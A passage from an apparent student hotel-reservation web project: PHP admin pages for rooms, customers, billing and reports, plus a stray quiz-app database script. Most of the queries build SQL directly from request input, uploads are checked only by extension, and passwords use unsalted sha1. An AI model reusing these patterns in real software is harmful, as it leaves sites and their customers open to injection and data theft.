= $con->query($q)->fetch_object(); $others = $r->others; $discount = $r->discount; $rate = $r->roomrate; $night = $r->num_night; $pax = $r->num_pax; if($pax==0){ $pax = 1; } $total = (($rate * $night) * $pax) + $others; $less = ($discount / 100); $less = $total * $less; $total = $total - $less; $q = "update tblbilling set total=$total where id=$id"; $con->query($q); } function check_room($id,$con){ $q = "select * from tblreservation where id=$id"; $roomID = $con->query($q)->fetch_object()->roomID; $q = "select * from tblreservation where roomID=$roomID"; $r = $con->query($q); if($r->num_rows == 1){ $q = "update tblroom set status=1 where id=$roomID"; $con->query($q); } } } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/reservation.php <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php include('model/model_reservation.php'); ?> <title>Reservations</title> <?php $data = new Data_room(); if(isset($_POST['cancel_reservation'])){ $ids = isset($_POST['check']) ? $_POST['check']:null; $data->delete_multiple($ids, $con); }else if(isset($_POST['confirm_reservation'])){ $ids = isset($_POST['check']) ? $_POST['check']:null; $data->confirm_reservation($ids, $con); } $reservation = $data->get_reservation($con); ?> <div class="span9"> <div class="content"> <div class="module message"> <div class="module-head"> <h3>Reservation Management</h3> </div> <div class="module-option clearfix"> <div class="pull-right"> <button type="button" data-toggle="modal" data-target="#confirm_modal" class="btn btn-success" name="delete_reservation">Confirm Reservation</button> <button type="button" data-toggle="modal" data-target="#cancel_modal" class="btn btn-danger" name="delete_reservation">Cancel Reservation</button> </div> </div> <div class="module-body table"> <form method="POST"> <?php include('modal/modal_confirm.php'); ?> <table cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped display" width="100%"> <thead> <tr> <th></th> <th>Table</th> <th>Customer</th> <th>Arrival</th> <th>Departure</th> <th>Status</th> </tr> </thead> <tbody> <?php while($row = $reservation->fetch_object()): ?> <tr class="gradeX"> <td><input type="checkbox" class="inbox-checkbox" name="check[]" value="<?php echo $row->id;?>"></td> <td> <?php $room = $data->get_room_byID($row->roomID,$con);?> <a href="#reservation_details_modal" class="show_details" data-id="<?php echo $row->id?>" data-toggle="modal"><?php echo $room;?></a> </td> <td> <?php $customer = $data->get_customer_byID($row->customerID,$con);?> <?php echo $customer;?> </td> <td> <?php $tmp = strtotime($row->dateFrom);?> <?php echo date('M d, Y',$tmp); ?> </td> <td> <?php $tmp = strtotime($row->dateTo);?> <?php echo date('M d, Y',$tmp); ?> </td> <td> <?php $status = $data->get_status($row->id,$con); ?> <font class="<?php if($status=='Pending'){echo 'alert-danger';}else{echo 'alert-success';}?>"><?php echo $status;?></font> </td> </tr> <?php endwhile; ?> </tbody> </table> </form> </div> <div class="module-foot"> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_POST['cancel_reservation'])) echo '$.jGrowl("Cancelled Successfully!");'; ?> <?php if(isset($_POST['confirm_reservation'])) echo '$.jGrowl("Confirmed Successfully!");'; ?> </script> <script> $(document).ready(function() { $('.datatable-1').dataTable(); $('.dataTables_paginate').addClass("btn-group datatable-pagination"); $('.dataTables_paginate > a').wrapInner('<span />'); $('.dataTables_paginate > a:first-child').append('<i class="icon-chevron-left shaded"></i>'); $('.dataTables_paginate > a:last-child').append('<i class="icon-chevron-right shaded"></i>'); } ); </script> <script> $('.show_details').on('click',function(){ var id = $(this).data('id'); console.log(id); $.ajax({ url: 'reservation_details.php', type: 'POST', data: { id:id}, success: function(dataJim) { $('#reservation_details_modal .modal-body').html(dataJim); } }); }); </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/model/model_count.php <?php $count = $_POST['count']; include('../../conn.php'); if($count=='reservation'){ $q = "select * from tblbilling where status='Pending'"; $r = $con->query($q); echo $r->num_rows; }else if($count=='billing'){ $q = "select * from tblbilling where status='Confirmed'"; $r = $con->query($q); echo $r->num_rows; }else if($count=='customer'){ $q = "select * from tblcustomer where status=0"; $r = $con->query($q); echo $r->num_rows; } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/model/model_room.php <?php class Data_room { function check_room($id,$con){ $dateNow = date('Y-m-d'); $q = "SELECT * FROM tblreservation WHERE (tblreservation.dateFrom BETWEEN '$dateNow' and '$dateNow') or (tblreservation.dateTo BETWEEN '$dateNow' and '$dateNow');"; $r = $con->query($q); if($r->num_rows == 0){ $q = "update tblroom set status=1 where id=$id"; $con->query($q); } } function get_room($con){ $q = "select * from tblroom"; $r = $con->query($q); return $r; } function get_images($id,$con){ $q = "select * from tblroompicture where roomID=$id"; $r = $con->query($q); return $r; } function add_room($post,$files,$con){ $name = $post['name']; $desc = $post['desc']; $type = $post['type']; $capacity = $post['capacity']; $rate = $post['rate']; $status = $post['status']; $q = "insert into tblroom values( null, '$name', '$desc', '$type', '$capacity', '$rate', '$status' )"; $con->query($q); $last_id = $con->insert_id; $this->upload($files,$last_id,$con); } function upload($files,$id,$con){ $upload_dir = $_SERVER['DOCUMENT_ROOT'] . "/hotel/admin/images/rooms/"; $count = count($files['gallery']['name']); for($i=0 ; $i < $count ; $i++){ $tmp = $files['gallery']['name']; $file = $tmp[$i]; $gallery = $file; $tmp_name = $files['gallery']['tmp_name'][$i]; $ext = pathinfo($file, PATHINFO_EXTENSION); if($ext == 'JPG' || $ext == 'jpg' || $ext == 'JPEG' || $ext == 'jpeg') { //create thumb $src = $upload_dir.$gallery; $dest = $upload_dir.'thumbs/'.$gallery; $desired_width = 200; //move uploaded file to a directory move_uploaded_file($tmp_name,$src); $q = "insert into tblroompicture values( null, $id, '$file' )"; $con->query($q); $this->make_thumb($src, $dest, $desired_width); } } } function make_thumb($src, $dest, $desired_width) { /* read the source image */ $source_image = imagecreatefromjpeg($src); $width = imagesx($source_image); $height = imagesy($source_image); /* find the "desired height" of this thumbnail, relative to the desired width */ $desired_height = floor($height * ($desired_width / $width)); /* create a new, "virtual" image */ $virtual_image = imagecreatetruecolor($desired_width, $desired_height); /* copy source image at a resized size */ //imagecopyresampled($virtual_image, $source_image, 0, 0, 0, 0, $desired_width, $desired_height, $width, $height); imagecopyresized($virtual_image, $source_image, 0, 0, 0, 0, $desired_width, $desired_height, $width, $height); /* create the physical thumbnail image to its destination */ imagejpeg($virtual_image, $dest); } function get_room_byID($id, $con){ $q = "select * from tblroom where id=$id"; $r = $con->query($q); $result = $r->fetch_object(); return $result; } function get_room_type($con){ $q = "select * from tblroomtype order by name asc"; $r = $con->query($q); return $r; } function update_room($id,$post,$files,$con){ $name = $post['name']; $desc = $post['desc']; $type = $post['type']; $capacity = $post['capacity']; $rate = $post['rate']; $status = $post['status']; $q = "update tblroom set name = '$name', description = '$desc', type = '$type', capacity = '$capacity', rate = '$rate', status = '$status' where id=$id"; $con->query($q); $this->upload($files,$id,$con); } function delete_room($id,$con){ $q = "delete from tblroom where id=$id"; $con->query($q); } function delete_multiple($ids,$con){ $i = count($ids); for($c=0; $c < $i; $c++){ $id = $ids[$c]; $q = "delete from tblroom where id=$id"; $con->query($q); } } function delete_picture($id,$con){ $q = "delete from tblroompicture where id=$id"; $con->query($q); } function get_type_name($id,$con){ $q = "select * from tblroomtype where id=$id"; $r = $con->query($q); $row = $r->fetch_object(); return $row; } } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/include/daterange.php <script> $(function() { $( "#from" ).datepicker({ minDate: 0, defaultDate: "+1w", changeMonth: true, numberOfMonths: 1, onClose: function( selectedDate ) { $( "#to" ).datepicker( "option", "minDate", selectedDate ); } }); $( "#to" ).datepicker({ minDate: 0, defaultDate: "+1w", changeMonth: true, numberOfMonths: 1, onClose: function( selectedDate ) { $( "#from" ).datepicker( "option", "maxDate", selectedDate ); } }); }); </script><file_sep>/Final/login.php <?php session_start(); ?> <?php include 'header.php'; ?> <style> </style> <body> </body> <script> </script><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/model/model_customer.php <?php class Data_customer { function __construct(){ } function get_customers($con){ $q = "select * from tblcustomer"; $r = $con->query($q); return $r; } function get_customer_byfilter($filter,$con){ $q = "select * from tblcustomer where status=$filter"; $r = $con->query($q); return $r; } function activate_customer($id,$con){ $q = "update tblcustomer set status=1 where id=$id"; $con->query($q); } function deactivate_customer($id,$con){ $q = "update tblcustomer set status=0 where id=$id"; $con->query($q); } function get_customer_byID($id, $con){ $q = "select * from tblcustomer where id=$id"; $r = $con->query($q); $result = $r->fetch_object(); return $result; } function update_customer($id,$post,$con){ $fname = $post['fname']; $mname = $post['mname']; $lname = $post['lname']; $address = $post['address']; $contact = $post['contact']; $email = $post['email']; $company = $post['company']; $designation = $post['designation']; $dob = $post['dob']; $username = $post['username']; $password = $post['password']; $q = "update tblcustomer set fname = '$fname', mname = '$mname', lname = '$lname', address = '$address', contact = '$contact', email = '$email', company = '$company', designation = '$designation', dob = '$dob', username = '$username ' where id=$id"; $con->query($q); if($password!=null){ $new = sha1($password); $con->query("update tblcustomer set password='$new' where id=$id"); } } function delete_multiple($ids,$con){ $i = count($ids); for($c=0; $c < $i; $c++){ $id = $ids[$c]; $q = "delete from tblcustomer where id=$id"; $con->query($q); } } } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/print_monthly.php <?php include('../conn.php'); $dateNow = date('m-Y'); $q = "SELECT * FROM tblreservation left join tblbilling on tblreservation.id = tblbilling.reservationID WHERE DATE_FORMAT(tblreservation.dateTo,'%m-%Y') = '$dateNow' and tblbilling.status='Paid'"; $billing = $con->query($q); $address = $con->query("select * from tblprofile order by id desc")->fetch_object()->address; $contact = $con->query("select * from tblprofile order by id desc")->fetch_object()->contact; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Montly Report</title> <!-- Bootstrap Core CSS --> <link href="css/print.css" rel="stylesheet"> <style> .wrapper { margin-top:20px !important; border:1px solid #777; background:#fff; padding: 20px; } body { background:#ccc; } /* Page: Invoice */ .invoice { position: relative; width: 90%; margin: 10px auto; background: #fff; border: 1px solid #f4f4f4; padding:10px; } .invoice-title { margin-top: 0; } /* Enhancement for printing */ @media print { .invoice { width: 100%; border: 0; margin: 0; padding: 0; } .invoice-col table td,.invoice-col table th, { padding:0px; } .table-responsive { overflow: auto; } .table-responsive > .table tr th, .table-responsive > .table tr td { white-space: normal!important; } } @media print { .no-print { display: none; } .left-side, .header, .content-header { display: none; } .right-side { margin: 0; } } </style> </head> <?php function get_name($id,$con){ $q = "select * from tblreservation left join tblroom on tblreservation.roomID=tblroom.id left join tblcustomer on tblreservation.customerID=tblcustomer.id where tblreservation.id=$id"; return $con->query($q)->fetch_object(); } ?> <body> <div class="container wrapper"> <div class="row"> <div class="col-lg-12"> <div class="text-center"> <img src="images/logo.png" width="100px" height="100px" /> <h3>iHOTEL <br><small class="text-muted">Montly Report</small> <br><small class="text-muted"><?php echo $address;?></small> <br><small class="text-muted">Contact No: <?php echo $contact;?></small> </h3> </div> </div> </div> <div class="row"> <section class="content invoice"> <div class="table-responsive"> <table class="table table-bordered"> <thead> <tr> <th>Date</th> <th>Room / Customer</th> <th>Rate</th> <th>Other Fees</th> <th>No. Nights</th> <th>No. Pax</th> <th>Discount</th> <th>Total</th> </tr> </thead> <tbody> <?php $total = 0; ?> <?php while($row = $billing->fetch_object()): ?> <tr> <td> <?php echo date('m/d/y',strtotime($row->dateFrom)); ?> - <?php echo date('m/d/y',strtotime($row->dateTo)); ?> </td> <td> <?php $name =get_name($row->id,$con);?> <?php echo $name->name; ?><br /> <small>(<?php echo $name->fname.' '.$name->lname;?>)</small> </td> <td>Php <?php echo number_format($row->roomrate); ?></td> <td>Php <?php echo number_format($row->others); ?></td> <td><?php echo $row->num_night; ?></td> <td><?php echo $row->num_pax; ?></td> <td><?php echo $row->discount; ?></td> <td>Php <?php echo number_format($row->total); ?></td> </tr> <?php $total = $total + $row->total; ?> <?php endwhile; ?> </tbody> </table> </div> <strong>TOTAL: Php <?php echo number_format($total); ?></strong> <div class="clearfix"></div> <div class="row no-print"> <div class="col-xs-12"> <button class="btn btn-success pull-right" onclick="window.print();"><i class="fa fa-print"></i> Print</button> <span class="pull-right">&nbsp;</span> <button class="btn btn-default pull-right" onclick="window.close();"><i class="fa fa-share"></i> Close</button> </div> </div> </section> </div> </div> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/update_billing.php <?php $id = $_POST['id']; $_SESSION['id'] = $_POST['id'];; include('../conn.php'); $process = isset($_POST['process']) ? $_POST['process']: null; if($process == null){ $q = "SELECT tblbilling.id, tblbilling.reservationID,tblbilling.num_pax,tblbilling.discount, tblreservation.roomID, tblreservation.dateFrom,tblreservation.dateTo FROM tblbilling left JOIN tblreservation on tblbilling.reservationID=tblreservation.id WHERE tblbilling.id=$id"; $r = $con->query($q)->fetch_object(); $rooms = $con->query("select * from tblroom where status=1"); ?> <input type="hidden" value="<?php echo $r->id;?>" name="billingID" /> <input type="hidden" value="<?php echo $r->reservationID;?>" name="reservationID" /> <input type="hidden" value="<?php echo $r->dateFrom;?>" name="dateFrom" /> <input type="hidden" value="<?php echo $r->roomID;?>" name="roomTMP" /> <label>Change Room:</label> <select name="roomID" class="form-control"> <option value="0">Select Room...</option> <?php while($row = $rooms->fetch_object()): ?> <option value="<?php echo $row->id;?>"><?php echo $row->name;?></option> <?php endwhile; ?> </select> <label>Date From:</label> <input type="text" value="<?php echo date('m/d/Y',strtotime($r->dateFrom));?>" class="form-control" disabled> <label>Date To:</label> <input type="date" value="<?php echo $r->dateTo;?>" class="form-control" name="dateTo"> <label>No. of Pax: </label> <input type="text" value="<?php echo $r->num_pax;?>" name="num_pax" class="form-control" /> <label>Discount: </label> <input type="hidden" value="<?php echo $r->id;?>" name="billingID" /> <select name="discount" class="form-control"> <option value="0" <?php if($r->discount=='0') echo 'selected';;?>>No Discount</option> <option value="10" <?php if($r->discount=='10') echo 'selected';;?>>Government Employee</option> <option value="20" <?php if($r->discount=='20') echo 'selected';;?>>Senior / Person with Disabilities</option> </select> <?php }else if($process=='payment'){ ?> <div class="alert alert-success"> <h3>Thank you for choosing our hotel!!!</h3> </div> <input type="hidden" value="<?php echo $id;?>" name="billingID" /> <?php }else if($process=='addon'){ ?> <input type="hidden" value="<?php echo $id;?>" name="billingID" /> <label>Name:</label> <input type="text" name="name" class="form-control" required> <label>Rate:</label> <input type="text" name="rate" class="form-control" required> <?php }else if($process=='checkout'){ $q = mysqli_query($con,"select status,reservationID from tblbilling where status = 'Paid' and reservationID = '$id' "); if(mysqli_num_rows($q) > 0) { echo $id; echo'<b>Are you sure you want to checkout?</b>';?> <input type="hidden" value="<?php echo $id;?>" name="billingID" /> <?php } } else if($process=='checkout1'){ echo ' <div class="alert alert-success"> <h3>Please Paid before Checkout!</h3> </div>'; } ?> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/include/footer.php <section id="footer-sec" > <div class="container"> <div class="row pad-bottom" > <div class="col-md-4"> <h4> <strong>ABOUT COMPANY</strong> </h4> <p> Sweet Captel Policies and Other Information </p> <a href="#" >read more</a> </div> <div class="col-md-4"> <h4> <strong>SOCIAL LINKS</strong> </h4> <p> <a href="#"><i class="fa fa-facebook-square fa-3x" ></i></a> <a href="#"><i class="fa fa-twitter-square fa-3x" ></i></a> <a href="#"><i class="fa fa-linkedin-square fa-3x" ></i></a> <a href="#"><i class="fa fa-google-plus-square fa-3x" ></i></a> </p> </div> <div class="col-md-4"> <h4> <strong>OUR LOCATION</strong> </h4> <p> <?php $location = $con->query("select * from tblprofile order by id desc")->fetch_object();?> <?php echo $location->address; ?><br /> <?php echo $location->contact; ?> </p> </div> </div> </div> </section> <!--/.FOOTER END--> <!-- JAVASCRIPT FILES PLACED AT THE BOTTOM TO REDUCE THE LOADING TIME --> <!-- CORE JQUERY --> <script src="assets/plugins/jquery-1.10.2.js"></script> <script src="assets/plugins/jquery-ui.min.js"></script> <!-- BOOTSTRAP SCRIPTS --> <script src="assets/plugins/bootstrap.js"></script> <!-- CUSTOM SCRIPTS --> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/indexclerk.php <?php include('include/header.php'); ?> <?php include('include/sidebarclerk.php'); ?> <?php $reservation = $con->query("select * FROM tblbilling WHERE tblbilling.status='Pending'"); $reservation = $reservation->num_rows; $customer = @$con->query("select * FROM tblcustomer where tblcustomer.status=0"); $customer = $customer->num_rows; $dateNow = date('m-Y'); $profit = $con->query("SELECT SUM(tblbilling.total) FROM tblreservation left join tblbilling on tblreservation.id = tblbilling.reservationID WHERE DATE_FORMAT(tblreservation.dateTo,'%m-%Y') = '$dateNow' and tblbilling.status='Paid'")->fetch_array(); $profit = $profit[0]; ; $billing = $con->query("select * from tblbilling where status='Paid'"); ?> <title>Admin Panel</title> <div class="span9"> <div class="content"> <div class="btn-controls"> <div class="btn-box-row row-fluid"> <a href="#" class="btn-box big span4"><i class=" icon-book"></i><b><?php echo $reservation; ?></b> <p class="text-muted"> Reservation</p> </a><a href="#" class="btn-box big span4"><i class="icon-user"></i><b><?php echo $customer; ?></b> <p class="text-muted"> New Customer</p> </a><a href="#" class="btn-box big span4"><i class="icon-money"></i><b>Php <?php echo number_format($profit,2); ?></b> <p class="text-muted"> <?php echo date('F'); ?> Profit</p> </a> </div> </div> <!--/#btn-controls--> <div class="module"> <div class="module-head"> <h3>Billing Report</h3> </div> <div class="module-body table"> <table id="table" cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped display" width="100%"> <thead> <tr> <th> Room </th> <th> Customer </th> <th> No. Night </th> <th> No. Pax </th> <th> Total </th> </tr> </thead> <tbody> <?php while($row = $billing->fetch_object()): ?> <tr> <?php $reservationID = $row->reservationID; $q = "select * from tblreservation left join tblcustomer on tblreservation.customerID=tblcustomer.id left join tblroom on tblreservation.roomID=tblroom.id where tblreservation.id=$reservationID order by tblreservation.id desc"; $name = $con->query($q)->fetch_object(); ?> <td><?php echo $name->name; ?></td> <td><?php echo $name->fname.' '.$name->lname; ?></td> <td><?php echo $row->num_night; ?></td> <td><?php echo $row->num_pax; ?></td> <td>Php <?php echo number_format($row->total,2); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> </div> <!--/.module--> </div> <!--/.content--> </div> <!--/.span9--> <?php include('include/footer.php'); ?> <script> $('#table').DataTable(); </script><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/js/database.js var gameArr = new Array(); var score = 0; var indexquestion = 0; var countAnswer = 0; var questionArray = []; var sSQL = ""; var db = window.openDatabase("quizdb", "1.0", "iQuizIT", 1000000); document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { // if (db != null && db != undefined && db != "") { db.transaction(populatedb, errorCB, successCB); // } } $(document).ready(function() { // if (db != null && db != undefined && db != "") { db.transaction(populatedb, errorCB, successCB); // } }); function successCB() { console.log("success!"); // db.transaction(queryDB, errorCB); } function showinput() { $('#popupScore').popup('open'); } function closeInput(transaction, resultSet) { $('#popupScore').popup('close'); console.log('Query completed: ' + JSON.stringify(resultSet)); // home(); } function home() { window.location.href = 'index.html#type'; } function goToHP() { window.location.href = 'index.html'; } function closeApp() { console.log('closeApp'); navigator.app.exitApp(); } function leaderboard() { window.location.href = 'score.html'; } function endgameload() { var itemscore = sessionStorage.getItem('yourscore'); $("#game_score").innerHTML = itemscore; } function errorCDB(err) { var db = window.openDatabase("quizdb", "1.0", "iQuizIT", 1000000); db.transaction(CreateQuestions, errorCB, CreateQuestSuccessFul); } function errorCB(err) { console.log("Error processing SQL: " + err.code + ' ' + err.message); } function CreateQuestSuccessFul() { var db = window.openDatabase("quizdb", "1.0", "Quiz Database", 1000000); db.transaction(queryDB, errorCB); } function gameload(param, slesson) { localStorage.clear(); window.localStorage.setItem('lesson', slesson); console.log('param: ', param); if (param == 'quiz') { sSQL = 'SELECT * FROM quiztbl WHERE lesson_id="4";'; window.localStorage.setItem("sSQL", sSQL); window.localStorage.setItem("param", param); window.location.href = 'quiz.html'; // } else if (param == 'config') { // sSQL = 'SELECT * FROM quiztbl2 WHERE lesson_id="2";' // window.localStorage.setItem("sSQL", sSQL); // window.localStorage.setItem("param", param); // window.location.href = 'config_quiz.html'; } else { var value = sessionStorage.getItem('param'); if (value == 'quiz') { sSQL = 'SELECT * FROM quiztbl WHERE lesson_id="4";'; window.localStorage.setItem("sSQL", sSQL); window.localStorage.setItem("param", value); window.location.href = 'quiz.html'; // } else if (param == 'config') { // sSQL = 'SELECT * FROM quiztbl2 WHERE lesson_id="2";' // window.localStorage.setItem("sSQL", sSQL); // window.localStorage.setItem("param", value); // window.location.href = 'config_quiz.html'; } } } function saveScore(category) { if ($('#un').val() == '') { alert('Please enter you Name'); return; } var lesson = window.localStorage['lesson']; db.transaction(function(tx) { var sSQL = 'INSERT INTO scores(player_name,score,lesson,category) VALUES ("' + $('#un').val() + '","' + $('#game_score').text() + '","' + lesson + '","' + category + '")'; console.log(sSQL); tx.executeSql(sSQL, [], closeInput, errorCB); alert('Score successfully saved'); }, errorCB); } function populatedb(tx) { // tx.executeSql('DROP TABLE IF EXISTS scores'); tx.executeSql('DROP TABLE IF EXISTS category'); tx.executeSql('DROP TABLE IF EXISTS lesson'); tx.executeSql('DROP TABLE IF EXISTS quiztbl'); tx.executeSql('DROP TABLE IF EXISTS quiztbl2'); tx.executeSql('DROP TABLE IF EXISTS quiztbl3'); tx.executeSql('CREATE TABLE IF NOT EXISTS scores(s_id INTEGER PRIMARY KEY AUTOINCREMENT, player_name VARCHAR(255),score VARCHAR(25),lesson text,category VARCHAR(45))'); tx.executeSql('CREATE TABLE IF NOT EXISTS category(c_id INTEGER PRIMARY KEY AUTOINCREMENT, c_name VARCHAR(150))'); tx.executeSql('CREATE TABLE IF NOT EXISTS lesson(lesson_id INTEGER PRIMARY KEY AUTOINCREMENT, c_id INTEGER REFERENCES category (c_id) ON DELETE CASCADE ON UPDATE CASCADE, lesson_detail TEXT)'); tx.executeSql('CREATE TABLE IF NOT EXISTS quiztbl (ID INTEGER PRIMARY KEY AUTOINCREMENT,lesson_id INTEGER REFERENCES lesson (lesson_id) ON DELETE CASCADE ON UPDATE CASCADE, question text, qanswer1 text, qanswer2 text, qanswer3 text, qanswer4 text, answer text)'); tx.executeSql('CREATE TABLE IF NOT EXISTS quiztbl2 (ID INTEGER PRIMARY KEY AUTOINCREMENT,lesson_id INTEGER REFERENCES lesson (lesson_id) ON DELETE CASCADE ON UPDATE CASCADE, question text, qanswer1 text, qanswer2 text, answer text)'); tx.executeSql('CREATE TABLE IF NOT EXISTS quiztbl3 (ID INTEGER PRIMARY KEY AUTOINCREMENT,lesson_id INTEGER REFERENCES lesson (lesson_id) ON DELETE CASCADE ON UPDATE CASCADE, question text, qanswer1 text, qanswer2 text, qanswer3 text, answer text)'); tx.executeSql('INSERT INTO lesson(c_id,lesson_detail) VALUES ("1","Assessment")'); //Multiple choice tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","Which part is the (brain) of the computer?", "Monitor", "RAM", "CPU", "ROM" ,"CPU")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","What is the permanent memory built into your computer called?", "RAM", "ROM", "CPU", "CD-ROM" ,"ROM")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","Approximately how many bytes make one Megabyte.", "One Million", "One Thousand", "Ten Thousand", "One Hundred" ,"One Million")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","Which of the following is an operating system you would be using on the computer?", "Internet Explorer", "Netscape", "Microsoft Windows", "Microsoft Word" ,"Microsoft Windows")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","The capacity of your hard drive is measured in", "MHz", "Gigabytes", "Mbps", "52X" ,"Gigabytes")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","Which of the following is not an input device?", "Keyboard", "Monitor", "Joystick", "Microphone" ,"Monitor")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","Which of the following is not an output device?", "Keyboard", "Monitor", "Printer", "Speakers" ,"Keyboard")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","Which device allows your computer to talk to other computers over a telephone line as well as access the internet?", "RAM", "Modem", "CD-ROM drive", "Hard Drive" ,"Modem")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","How much information can a CD (Compact Disk) usually store?", "1.4 Mb", "150 Mb", "10 Mb", "650 Mb" ,"650 Mb")'); tx.executeSql('INSERT INTO quiztbl (lesson_id,question, qanswer1, qanswer2, qanswer3, qanswer4, answer) VALUES ("4","DOS stands for", "Dual Operating System", "Dual Organized System", "Disk Operating System", "Disk Organized System" ,"Disk Operating System")'); } <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/feedback.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script src="cordova.js"></script> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> </div><!-- /header --> <div role="main" class="ui-content"> <p>Hotel Reservation Android App</p> <br> <h3><b>Feedback</b></h3> <?php include('conn.php'); if(isset($_POST['submit'])) { $name = $_POST['name']; $desc = $_POST['desc']; $q = mysqli_query($con," insert into tblservice ( name, description ) values ( '$name', '$desc') "); if($q == true) { $notif = '<label style="color:green;"><b>Feedback Successfully Send !</b></label>'; } } // TODO feedback ?> <form method="post" action='<?php echo $_SERVER['REQUEST_URI'];?>'> <input type="text" placeholder="Name" name="name"> <textarea placeholder="Description" name="desc"></textarea> <button type="submit" class="ui-btn ui-btn-b" name="submit" >Submit</button> </form> <?php if(isset($notif)) echo $notif;?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015</p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/about.php <?php include('include/header.php'); ?> <?php include('include/page-header.php'); ?> <?php $q = "select * from tblprofile order by id desc"; $row = $con->query($q)->fetch_object(); ?> <title>iHOTEL: About</title> <section> <div class="container"> <div class="row"> <div class="col-sm-8"> <h3>COMPANY PROFILE</h3> <hr /> <p class="align-justify"> <?php echo $row->profile; ?> </p> <br /> <h3>Out Policies</h3> <hr /> <p class="align-justify"> <?php echo $row->policy; ?> </p> </div> <div class="col-sm-4"> <h3>Services Offered</h3> <div class="list"> <?php echo $row->service; ?> </div> </div> </div> </div> </section> <form method="POST"> <?php include('modal/modal_room.php'); ?> </form> <?php include('include/footer.php'); ?> <?php include('include/daterange.php'); ?> <?php include('include/daterange.php'); ?> <script src="assets/js/custom.js"></script> <script> $('.list ol').addClass('list-group'); $('.list ol li').addClass('list-group-item'); </script> </body> </html> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/customerclerk.php <?php include('include/header.php'); ?> <?php include('include/sidebarclerk.php'); ?> <?php include('model/model_customer.php'); ?> <?php $data = new Data_customer(); if(isset($_POST['delete'])){ $ids = isset($_POST['check']) ? $_POST['check']:null; $data->delete_multiple($ids, $con); }else if(isset($_POST['activate'])){ $id = $_POST['customer_id']; $data->activate_customer($id,$con); }else if(isset($_POST['deactivate'])){ $id = $_POST['customer_id']; $data->deactivate_customer($id,$con); } $customer = $data->get_customers($con); if(isset($_GET['filter'])){ $filter = $_GET['filter']; $customer = $data->get_customer_byfilter($filter,$con); } ?> <title>Customers</title> <div class="span9"> <div class="content"> <div class="module message"> <div class="module-head"> <h3>Customer Management</h3> </div> <div class="module-option clearfix"> <div class="pull-left"> Filter : &nbsp; <div class="btn-group"> <button class="btn">All</button> <button class="btn dropdown-toggle" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="customer.php">All</a></li> <li><a href="customer.php?filter=1">Active</a></li> <li><a href="customer.php?filter=0">Inactive</a></li> </ul> </div> </div> <div class="pull-right"> <button type="button" data-toggle="modal" 